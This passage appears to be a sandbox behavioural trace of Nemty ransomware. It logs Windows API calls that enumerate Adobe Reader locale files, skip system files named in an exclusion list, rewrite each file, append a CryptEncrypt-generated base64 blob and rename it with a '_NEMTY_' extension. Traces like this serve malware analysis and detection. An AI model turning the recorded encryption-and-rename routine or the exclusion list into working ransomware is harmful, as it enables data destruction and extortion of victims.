pszString="yPmiYaYHdGtFH3CPafL/pUoFnY1Fu+dfa0CS6YJXV89rLCzeKuB16Ho101juojHj\r\n9fVCBAWat71oQ/bwRCbaGZ92Z3ch4dkSiBw0OI1jDuTDyD+RSJndq520eCCQ8zvM\r\nhDmVOZDYx5YHpz+2tB2UnhI6zrDvzz4rTlNrtNWx+3iiWNOOwT6tKiL7p7vB6H//\r\n5ozfr95UDSdejT0af/njcEDZ0mRsQzTA8iwWMkPVHR48YYr/quRBARf4QXYIf3CB\r\nZKfFlRFW5tivpwOS83kp+/cqXn28waopGSppziJwU0uRtZyZ/dKqTE1ebwc3zsbA\r\nz/Wzjr6HoPAd3Eogt+qQUg==\r\n", pcchString=0x653e5dc) returned 1 [0182.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Acroform.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\acroform.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.802] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=417280) returned 1 [0182.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.802] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.802] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.811] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.811] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.812] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=417280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x65e00 [0182.812] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.813] CloseHandle (hObject=0x2e8) returned 1 [0182.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.814] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Acroform.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\acroform.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Acroform.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\acroform.rus._nemty_kgobjgd_")) returned 1 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.815] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.RUS", cAlternateFileName="ADOBEC~1.RUS")) returned 1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2=".") returned 1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="..") returned 1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="...") returned 1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="windows") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="rsa") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="NTDETECT.COM") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="ntldr") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="MSDOS.SYS") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="IO.SYS") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="boot.ini") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="boot.ini") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="AUTOEXEC.BAT") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="ntuser.dat") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="desktop.ini") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="CONFIG.SYS") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="RECYCLER") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="BOOTSECT.BAK") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="bootmgr") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="programdata") returned -1 [0182.815] lstrcmpiW (lpString1="AdobeCollabSync.RUS", lpString2="appdata") returned -1 [0182.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0182.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUS", lpUsedDefaultChar=0x0) returned 19 [0182.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0182.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0182.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUS", lpUsedDefaultChar=0x0) returned 19 [0182.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0182.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0182.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUS", lpUsedDefaultChar=0x0) returned 19 [0182.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0182.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUS", lpUsedDefaultChar=0x0) returned 19 [0182.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0182.816] Sleep (dwMilliseconds=0x5) [0182.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x209f37b0, dwHighDateTime=0x1d561e8)) [0182.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x209f37b0, dwHighDateTime=0x1d561e8)) [0182.830] GetLastError () returned 0x0 [0182.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.830] GetLastError () returned 0x0 [0182.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0182.830] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.830] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.830] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0182.831] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="d4UL6TEsPra918ldYKr5No7hz8+nIQDuKzGVdg2CEvQd3z44o1stW5NtuwtKwW2x\r\nt/0QmSNrFwpSYU5lRsXcVMhUUei8GLF8MGvzedq7iHkhiIfU9rf4gxGyk85ISLVq\r\nSJM31QL6u3eBTR0CMT1uF3ozj6ymasTaCqLhv16zU6UJD2mwPvmmPj0PuAzj0p8q\r\nKQyLPrmB9kRFwUxeMYaTrlcd7uMvKcgbJcNV6J79uRcwiGTw2sGa8RxTkIPp/UWp\r\nFhmJQkVrmfkdDrBTSvExeg0ATUG7n4Kvhff+PL1FMtBW2ufUenJ3WJmWd9Z6ypko\r\ntsUJuu0oYJ1l2DdjKGSzNA==\r\n", pcchString=0x653e5dc) returned 1 [0182.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0182.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0182.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\AdobeCollabSync.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\adobecollabsync.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.832] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0182.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0182.832] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.832] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0182.834] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.834] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0182.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.834] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0182.834] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.834] CloseHandle (hObject=0x2e8) returned 1 [0182.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0182.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0182.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0182.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0182.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0182.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0182.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0182.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0182.835] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\AdobeCollabSync.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\adobecollabsync.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\AdobeCollabSync.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\adobecollabsync.rus._nemty_kgobjgd_")) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.835] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.RUS", cAlternateFileName="")) returned 1 [0182.835] lstrcmpiW (lpString1="Annots.RUS", lpString2=".") returned 1 [0182.835] lstrcmpiW (lpString1="Annots.RUS", lpString2="..") returned 1 [0182.835] lstrcmpiW (lpString1="Annots.RUS", lpString2="...") returned 1 [0182.835] lstrcmpiW (lpString1="Annots.RUS", lpString2="windows") returned -1 [0182.835] lstrcmpiW (lpString1="Annots.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.835] lstrcmpiW (lpString1="Annots.RUS", lpString2="rsa") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="NTDETECT.COM") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="ntldr") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="MSDOS.SYS") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="IO.SYS") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="boot.ini") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="boot.ini") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="AUTOEXEC.BAT") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="ntuser.dat") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="desktop.ini") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="CONFIG.SYS") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="RECYCLER") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="BOOTSECT.BAK") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="bootmgr") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="programdata") returned -1 [0182.836] lstrcmpiW (lpString1="Annots.RUS", lpString2="appdata") returned -1 [0182.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUS", lpUsedDefaultChar=0x0) returned 10 [0182.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUS", lpUsedDefaultChar=0x0) returned 10 [0182.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUS", lpUsedDefaultChar=0x0) returned 10 [0182.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUS", lpUsedDefaultChar=0x0) returned 10 [0182.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 